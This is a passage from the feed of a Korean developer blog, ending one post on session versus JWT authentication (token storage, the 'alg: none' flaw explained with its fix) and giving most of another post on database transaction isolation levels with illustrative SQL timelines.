&lt;th&gt;취약한 공격&lt;/th&gt;
&lt;th&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;localStorage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;XSS&lt;/strong&gt; — 스크립트가 그냥 읽어 갑니다&lt;/td&gt;
&lt;td&gt;JS로 읽어야 하니 어쩔 수 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;httpOnly&lt;/code&gt; 쿠키&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;CSRF&lt;/strong&gt; — 브라우저가 자동으로 붙여 보냅니다&lt;/td&gt;
&lt;td&gt;JS가 못 읽으니 XSS엔 안전&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;httpOnly&lt;/code&gt; 쿠키에 &lt;code class=&quot;language-text&quot;&gt;SameSite=Lax&lt;/code&gt;(또는 &lt;code class=&quot;language-text&quot;&gt;Strict&lt;/code&gt;)를 걸면 CSRF는 대부분 막힙니다. &lt;strong&gt;XSS는 막을 수단이 없다는 점&lt;/strong&gt;에서, 웹이라면 &lt;code class=&quot;language-text&quot;&gt;httpOnly&lt;/code&gt; 쿠키가 기본값으로 낫습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Set-Cookie: token=...; HttpOnly; Secure; SameSite=Lax; Path=/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;언제 무엇을&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상황&lt;/th&gt;
&lt;th&gt;선택&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;웹 서비스 하나, 서버 몇 대&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;세션 + Redis&lt;/strong&gt; — 단순하고 로그아웃이 확실합니다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;서버가 자주 늘었다 줄었다&lt;/td&gt;
&lt;td&gt;JWT — 공용 저장소 없이도 검증됩니다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;여러 서비스가 인증을 공유&lt;/td&gt;
&lt;td&gt;JWT — 각자 서명만 검증하면 됩니다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모바일 앱&lt;/td&gt;
&lt;td&gt;JWT — 쿠키를 쓰기 번거롭습니다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;즉시 차단이 중요 (금융·관리자)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;세션&lt;/strong&gt; 또는 짧은 만료 + 블랙리스트&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;기본값은 세션입니다.&lt;/strong&gt; JWT가 최신이라서 더 나은 게 아닙니다. 서버 한두 대짜리 서비스에 JWT를 쓰면, 얻는 것 없이 로그아웃 처리만 어려워집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;JWT가 세션보다 더 안전한가요?&lt;/h3&gt;
&lt;p&gt;아닙니다. &lt;strong&gt;보안 수준의 문제가 아니라 상태를 어디에 둘 것인가의 문제&lt;/strong&gt;입니다. 오히려 즉시 차단이 안 된다는 점에서 JWT가 불리한 국면도 많습니다. 둘 다 토큰을 탈취당하면 뚫리는 건 똑같고, 그걸 막는 건 HTTPS와 저장 위치 선택입니다.&lt;/p&gt;
&lt;h3&gt;토큰을 훔쳐가면 어떻게 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;만료 전까지 그 사람이 됩니다.&lt;/strong&gt; 세션이든 JWT든 같습니다. 차이는 대응인데, 세션은 지우면 즉시 끝나고 JWT는 만료를 기다리거나 블랙리스트가 필요합니다. 그래서 Access Token을 짧게 두는 것입니다.&lt;/p&gt;
&lt;h3&gt;&lt;code class=&quot;language-text&quot;&gt;alg: none&lt;/code&gt; 이야기는 뭔가요?&lt;/h3&gt;
&lt;p&gt;header의 알고리즘을 &lt;code class=&quot;language-text&quot;&gt;none&lt;/code&gt;으로 바꾸고 서명을 지운 토큰을 보내면, 일부 구현이 이걸 &lt;strong&gt;&quot;서명 검증 안 함&quot;으로 받아들여 통과&lt;/strong&gt;시키던 취약점입니다. 지금의 주요 라이브러리는 막혀 있지만, &lt;strong&gt;검증할 알고리즘을 서버가 고정&lt;/strong&gt;해 두는 게 원칙입니다. 토큰이 알려 주는 대로 검증하면 안 됩니다.&lt;/p&gt;
&lt;h3&gt;세션은 서버 메모리를 많이 먹지 않나요?&lt;/h3&gt;
&lt;p&gt;사용자당 수백 바이트 수준이라 보통 문제가 되지 않습니다. 진짜 문제는 용량이 아니라 &lt;strong&gt;서버가 여러 대일 때 공유&lt;/strong&gt;입니다. Redis로 빼면 둘 다 해결됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리하며&lt;/h2&gt;
&lt;p&gt;차이는 하나입니다. &lt;strong&gt;로그인 상태를 서버가 기억하느냐, 토큰이 들고 다니느냐.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;세션은 서버가 기억합니다 — 로그아웃이 즉시, 대신 공용 저장소가 필요합니다&lt;/li&gt;
&lt;li&gt;JWT는 토큰이 들고 다닙니다 — 서버 확장이 쉽고, 대신 &lt;strong&gt;취소할 방법이 없습니다&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;payload는 암호화가 아닙니다.&lt;/strong&gt; 누구나 읽습니다. 민감한 정보를 넣지 마세요&lt;/li&gt;
&lt;li&gt;Refresh Token과 블랙리스트를 붙이는 순간 &lt;strong&gt;결국 상태를 갖게 됩니다&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;저장 위치는 별개 문제입니다. 웹이면 &lt;code class=&quot;language-text&quot;&gt;httpOnly&lt;/code&gt; 쿠키 + &lt;code class=&quot;language-text&quot;&gt;SameSite&lt;/code&gt;가 기본값입니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;로그아웃했는데 토큰이 살아 있는 걸 보신 적 있으신가요? 그때 어떻게 처리하셨나요?&lt;/p&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7519&quot;&gt;RFC 7519 — JSON Web Token&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html&quot;&gt;OWASP — JSON Web Token Cheat Sheet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/Set-Cookie&quot;&gt;MDN — Set-Cookie&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[트랜잭션 격리 수준 — 같은 쿼리를 두 번 했는데 값이 다른 이유]]></title><description><![CDATA[…]]></description><link>https://blog.javapark.kr/transaction-isolation-levels/</link><guid isPermaLink="false">https://blog.javapark.kr/transaction-isolation-levels/</guid><pubDate>Thu, 20 Aug 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/9f75b2a3b0944296508d740ce40094db/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACMElEQVR42k2SWWvbQBSFBc2ibaQZzWjXyKPFlm1JdrzEsrM4DjZpFpwmTZq2CYVAQwstfWwJpA/96R2nBArfw1y4597DnCtsKgSgAPsN1QhEhUiq+Q/+FlVTMULgZVq0BZsT1D0kwxNz8sYcnxv9I5RPhU0ZAzezOzPetLau8VkbkrG2CddFJAFLxlzc1OMebO3grTmpltb0xtq7wsMTVB4IvOlsefX4+Pvp6c/nh29vr+++fP1xfHr589dTGLU3gMOHAtblm2E5Q4NjPD7H1dLoHaFiKigK2Tt4ffPh/t3H+4vru8P52d2nh9n8tDfYBciToKc6dRAWMBvT/iLszWxuoRjjwT7MJgIC9uX0+Hax/H5x+36xbCRFqz1kSf5qTd0QkQgshTDVa8Kkz8q9pNih2ciKum59oCUDwdO9UdwZxeW8qKq0G1iRAX2EqR00kMUMO5J0VzYjlea4May1x37aT5sjjkJzgUE/pXnRqmJWxqyTsDKizVrYIlxpMWTWsJPIRiATptip5rd0mmu0zb0odiLUUdBpTnanF2W+nxfTtLHNgixiOSEhsWMdhz7LZc0RNUc2qExqsslW4JoEfaEkrDTCXPNzRDMYJLofaK6pWvwvZJnwINdFuMr8OXYJ2OIKS3w+BKFvxpVTr9xsYKUliTJcixD1oU90RwOWpLwczAsysBXoKpq9Em+byUFYzqKtsZt1MWvjWoJoAH1Tc3VgS//JONyICj1kRTqmvPwLiMRWDmarBeMAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/9f75b2a3b0944296508d740ce40094db/a1b3b/thumbnail.webp 215w,
/static/9f75b2a3b0944296508d740ce40094db/fc700/thumbnail.webp 430w,
/static/9f75b2a3b0944296508d740ce40094db/521f7/thumbnail.webp 860w,
/static/9f75b2a3b0944296508d740ce40094db/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/9f75b2a3b0944296508d740ce40094db/f7886/thumbnail.png 215w,
/static/9f75b2a3b0944296508d740ce40094db/bc750/thumbnail.png 430w,
/static/9f75b2a3b0944296508d740ce40094db/3e3fe/thumbnail.png 860w,
/static/9f75b2a3b0944296508d740ce40094db/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/9f75b2a3b0944296508d740ce40094db/3e3fe/thumbnail.png&apos; alt=&apos;트랜잭션 격리 수준 커버 — 두 트랜잭션이 같은 행을 두고 엇갈리며 읽는 타임라인 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;트랜잭션 격리 수준 커버 — 두 트랜잭션이 같은 행을 두고 엇갈리며 읽는 타임라인 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;트랜잭션 안에서 같은 &lt;code class=&quot;language-text&quot;&gt;SELECT&lt;/code&gt;를 두 번 했습니다.
첫 번째는 &lt;code class=&quot;language-text&quot;&gt;10000&lt;/code&gt;, 두 번째는 &lt;code class=&quot;language-text&quot;&gt;8000&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;저는 아무것도 안 바꿨습니다. &lt;strong&gt;버그인가요?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;버그가 아닙니다. &lt;strong&gt;설정한 대로 동작한 겁니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — 격리 수준은 &lt;strong&gt;&quot;내 트랜잭션이 도는 동안 남이 한 일을 얼마나 보게 할 것인가&quot;를 정하는 다이얼&lt;/strong&gt;입니다. 남을 덜 볼수록 결과가 안정적이고, 대신 느립니다. 위 현상은 그 다이얼이 낮게 맞춰져 있다는 뜻입니다.&lt;/p&gt;
&lt;p&gt;같은 무대에서 세 가지 현상이 차례로 벌어지는 걸 보고 싶으시면 &lt;strong&gt;52초짜리 영상&lt;/strong&gt;으로도 정리했습니다. 어느 격리 수준에서 무엇이 막히는지 사다리로 이어 붙였습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/O1NjKvFC_3Q&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 110.69767441860465%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAIAAABPIytRAAAACXBIWXMAAAAAAAAAAAHqZRakAAADxUlEQVR42iWUZ28jNxCG94u1jZ1c1q2SrJOs6ibZkq3AsO8M+4ArvpIgyMf8/9+QWQd4MCCxeDkz75AbnXBzwlzMwwm1ebcGBtTCdsDcCTMDZmNqEmISrAa5+GA7RfQgxklM4phEAxliVcdFE4sKjS7wZBurJtHDRHeJqhLuUuZSajKqE6RmbqjhrIRmKcsSFvHLJ7F95dsXvn2Vt9/Y5onM78jsls33dLrLhM+4y5kBENFxJtKM5xnvxSmL1PFNPHxlh1d2/izvfrLzT3h2ABmf3fD5HskScQtgZjA1FCucC5QJlHKU8YhdPOLNHi/3eHog0z2Z3bP5kS/u+fLIz26R8Ln4X2wx1QQrgiTORJ5yIOotYeVAlLGsE+hWNqlqsp46lwHETAYmvRTecC+p5rgoAFIoUkQnHLz1sXjXizKRVSrrTIKyTIWrXHc8XX2abO7b+aac/NHNX07Xu+p07dq173rxQPSj6hEhESCuMlliGRJmxmH8sth9vzz+2H88b2bH7ux1st5W46VrV66NYLwnzPZHcDcQUIJPhE+Fh4ITbmrb7sfrzWh1e3Z1UU+Xbji33dp1kHYFmWNiUmZ7+votfm9SyFL10RMRFA/QrSbWcReYL7krmfXMWGaiK1vf+Wbvm1vfPlXDrW9XtlnadmNh0XIROPecOUGdoqYgpncLaYWVQCr6GNrXsnsI7bWrHkK3Ayd6WXdhuyvbChEEmMy8YhbulsHGEGOo7t3GMlqpsFRhKsNI+pEKk6I6s+3SdhvbLUxLeWB9Zi+YlcQo3COxFlgxJCOKJCeFhJKY0wB38A2ADBprhWCqWqNCZyIwW3ILDQMBqoA53+jgqG6Ea4SvhR8W1WG1u9/cHBbb++X1w/nuuLh6WF5/urxd6Gom/ZnqgcWE2+igSzijYabhvmZuYru3l29vz19/vXz/+fzlr89vb0+ffz1/+ff3P0vXfBAOGpxKD4tTYaMP0D3MlBRQyXs91mTS5UXIiwr11FjXRFeZGnN/KsJY+JGwQ25rqqMkkwjpNJfw1rJM5rnG2GBsCfWcgk+hBwznXhDLsWXI8NxAxDAqUXS+nnNVDxKa5kWW63cMwhYTR3v8ezQU9SBwsZtK1ShZR4OUJ7nMcYGIybDNCby+QHhJRAmR8UqIWohKsJKZmmzX6n6rHw/icIXO51GCC7iDVFVUNYgHxDwrWmGGAJE1k21hR4UZFqpl3Ri/HIZ/fp7+/bX88Zw9bqM45fBzSXIBbWdI59i8YxF1mPoe4gCUa2RKvNukV4uei3l+Of8PTR+GlDKJPPQAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/ffd0056c55d2dbc644358d54c60b79d3/a1b3b/video-thumb.webp 215w,
/static/ffd0056c55d2dbc644358d54c60b79d3/fc700/video-thumb.webp 430w,
/static/ffd0056c55d2dbc644358d54c60b79d3/521f7/video-thumb.webp 860w,
/static/ffd0056c55d2dbc644358d54c60b79d3/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/ffd0056c55d2dbc644358d54c60b79d3/f7886/video-thumb.png 215w,
/static/ffd0056c55d2dbc644358d54c60b79d3/bc750/video-thumb.png 430w,
/static/ffd0056c55d2dbc644358d54c60b79d3/3e3fe/video-thumb.png 860w,
/static/ffd0056c55d2dbc644358d54c60b79d3/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/ffd0056c55d2dbc644358d54c60b79d3/3e3fe/video-thumb.png&apos; alt=&apos;트랜잭션 격리 수준 영상 — 두 트랜잭션 타임라인 위에서 Dirty Read, Non-repeatable Read, Phantom Read 가 차례로 벌어지는 화면&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;트랜잭션 격리 수준 영상 — 두 트랜잭션 타임라인 위에서 Dirty Read, Non-repeatable Read, Phantom Read 가 차례로 벌어지는 화면&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 다이얼이 필요한가&lt;/h2&gt;
&lt;p&gt;트랜잭션을 하나씩 순서대로만 돌리면 이상한 일은 하나도 안 생깁니다. 그리고 &lt;strong&gt;아무도 그렇게 쓰지 않습니다.&lt;/strong&gt; 너무 느리니까요.&lt;/p&gt;
&lt;p&gt;그래서 실제 DB는 여러 트랜잭션을 겹쳐서 돌립니다. 겹치는 순간 &quot;남이 바꾸는 중인 데이터를 내가 읽어도 되는가&quot;라는 질문이 생기고, 그 답을 정하는 게 격리 수준입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;낮추면 빨라지고, 대신 아래 세 가지가 새어 들어옵니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;이상 현상 세 가지&lt;/h2&gt;
&lt;p&gt;이름이 헷갈리기로 유명한데, &lt;strong&gt;&quot;무엇이 달라졌는가&quot;&lt;/strong&gt; 로 구분하면 간단합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;현상&lt;/th&gt;
&lt;th&gt;무엇을 봤나&lt;/th&gt;
&lt;th&gt;두 번 읽었을 때&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dirty Read&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;아직 커밋 안 된 값&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Non-repeatable Read&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;커밋된 값&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;같은 행&lt;/strong&gt;의 값이 바뀜&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Phantom Read&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;커밋된 값&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;행의 개수&lt;/strong&gt;가 바뀜&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;1. Dirty Read — 커밋도 안 된 걸 읽는다&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;T1: UPDATE account SET balance = 8000 WHERE id = 1;   -- 아직 커밋 안 함
T2: SELECT balance FROM account WHERE id = 1;         -- 8000 을 읽는다
T1: ROLLBACK;                                         -- 없던 일이 됨&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;T2는 &lt;strong&gt;한 번도 존재한 적 없는 값&lt;/strong&gt;을 읽고 그걸로 계산했습니다. 이게 가장 위험한 축입니다.&lt;/p&gt;
&lt;h3&gt;2. Non-repeatable Read — 같은 행인데 값이 바뀐다&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;T1: SELECT balance FROM account WHERE id = 1;   -- 10000
T2: UPDATE account SET balance = 8000 WHERE id = 1;  COMMIT;
T1: SELECT balance FROM account WHERE id = 1;   -- 8000  ← 같은 트랜잭션인데 다름&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이번엔 T2가 &lt;strong&gt;정상적으로 커밋한&lt;/strong&gt; 값입니다. 데이터는 멀쩡한데, T1 입장에선 발밑이 바뀐 겁니다. 도입부의 그 현상이 이것입니다.&lt;/p&gt;
&lt;h3&gt;3. Phantom Read — 없던 행이 나타난다&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;T1: SELECT COUNT(*) FROM orders WHERE amount &gt; 1000;   -- 3건
T2: INSERT INTO orders (amount) VALUES (5000);  COMMIT;
T1: SELECT COUNT(*) FROM orders WHERE amount &gt; 1000;   -- 4건  ← 없던 행&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;값이 아니라 &lt;strong&gt;범위에 걸리는 행의 수&lt;/strong&gt;가 바뀌었습니다. 그래서 앞의 둘과 달리 특정 행을 잠그는 것만으로는 못 막습니다. &lt;strong&gt;아직 존재하지 않는 행을 잠글 수는 없으니까요.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;격리 수준 네 단계&lt;/h2&gt;
&lt;p&gt;위 세 가지를 어디까지 허용하는지로 단계가 나뉩니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;수준&lt;/th&gt;
&lt;th&gt;Dirty&lt;/th&gt;
&lt;th&gt;Non-repeatable&lt;/th&gt;
&lt;th&gt;Phantom&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;READ UNCOMMITTED&lt;/td&gt;
&lt;td&gt;발생&lt;/td&gt;
&lt;td&gt;발생&lt;/td&gt;
&lt;td&gt;발생&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;READ COMMITTED&lt;/td&gt;
&lt;td&gt;방지&lt;/td&gt;
&lt;td&gt;발생&lt;/td&gt;
&lt;td&gt;발생&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;REPEATABLE READ&lt;/td&gt;
&lt;td&gt;방지&lt;/td&gt;
&lt;td&gt;방지&lt;/td&gt;
&lt;td&gt;발생*&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SERIALIZABLE&lt;/td&gt;
&lt;td&gt;방지&lt;/td&gt;
&lt;td&gt;방지&lt;/td&gt;
&lt;td&gt;방지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;*&lt;/code&gt; 이 별표가 실무에서 제일 많이 틀리는 지점입니다.&lt;/strong&gt; 아래에서 따로 다루겠습니다.&lt;/p&gt;
&lt;p&gt;READ UNCOMMITTED는 사실상 쓰지 않습니다. 롤백될 값을 읽는 걸 감수할 만큼 성능이 급한 경우가 거의 없고, 애초에 Oracle은 지원조차 하지 않습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;기본값이 DB마다 다릅니다&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;여기서 사고가 납니다.&lt;/strong&gt; 로컬에서 되던 게 운영에서 안 되거나, DB를 옮겼더니 동작이 달라지는 경우 대부분이 이것입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;DB&lt;/th&gt;
&lt;th&gt;기본 격리 수준&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MySQL (InnoDB)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;REPEATABLE READ&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PostgreSQL&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;READ COMMITTED&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Oracle&lt;/td&gt;
&lt;td&gt;READ COMMITTED&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQL Server&lt;/td&gt;
&lt;td&gt;READ COMMITTED&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;MySQL만 한 단계 높습니다. 그래서 &lt;strong&gt;MySQL에서 잘 돌던 코드를 PostgreSQL로 옮기면 Non-repeatable Read가 새로 보이기 시작합니다.&lt;/strong&gt; 반대 방향으로 옮기면 없던 락 대기와 데드락이 생깁니다.&lt;/p&gt;
&lt;p&gt;확인은 이렇게 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- MySQL&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; @&lt;span class=&quot;token variable&quot;&gt;@transaction_isolation&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- PostgreSQL&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SHOW&lt;/span&gt; default_transaction_isolation&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;별표의 정체 — RR이 팬텀을 막나&lt;/h2&gt;
&lt;p&gt;표에는 &quot;REPEATABLE READ에서 팬텀 발생&quot;이라고 적혀 있습니다. 그건 &lt;strong&gt;ANSI 표준이 그렇게 정의했다&lt;/strong&gt;는 뜻이고, &lt;strong&gt;실제 DB는 대부분 그보다 강하게 동작합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MySQL(InnoDB)&lt;/strong&gt; — 일반 &lt;code class=&quot;language-text&quot;&gt;SELECT&lt;/code&gt;는 트랜잭션 시작 시점의 스냅샷을 계속 봅니다(MVCC). 그래서 남이 INSERT를 커밋해도 안 보입니다. 잠금을 거는 읽기(&lt;code class=&quot;language-text&quot;&gt;SELECT ... FOR UPDATE&lt;/code&gt;)에서는 &lt;strong&gt;갭 락(gap lock)&lt;/strong&gt; 으로 &quot;아직 없는 행이 들어올 자리&quot;까지 잠가 막습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PostgreSQL&lt;/strong&gt; — REPEATABLE READ가 사실상 &lt;strong&gt;스냅샷 격리&lt;/strong&gt;라 팬텀이 나타나지 않습니다.&lt;/p&gt;
&lt;p&gt;그러면 SERIALIZABLE은 왜 필요할까요. &lt;strong&gt;스냅샷만으로는 못 막는 게 남기 때문입니다.&lt;/strong&gt; 대표적인 게 &lt;em&gt;write skew&lt;/em&gt; 입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;규칙: 당직자는 항상 1명 이상이어야 한다  (현재 A, B 두 명)

T1: A가 조회 → &quot;B가 있네&quot; → A를 당직 해제
T2: B가 조회 → &quot;A가 있네&quot; → B를 당직 해제
둘 다 커밋 → 당직자 0명&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;각자의 스냅샷에서는 둘 다 규칙을 지켰습니다. 합쳐 놓으면 깨졌습니다. 이건 격리 수준을 SERIALIZABLE로 올리거나, 애플리케이션에서 명시적으로 잠가야 막힙니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;격리 수준으로 안 잡히는 것 — 갱신 손실&lt;/h2&gt;
&lt;p&gt;표에 없는 문제가 하나 더 있습니다. 그리고 실무에서 제일 자주 터집니다.&lt;/p&gt;
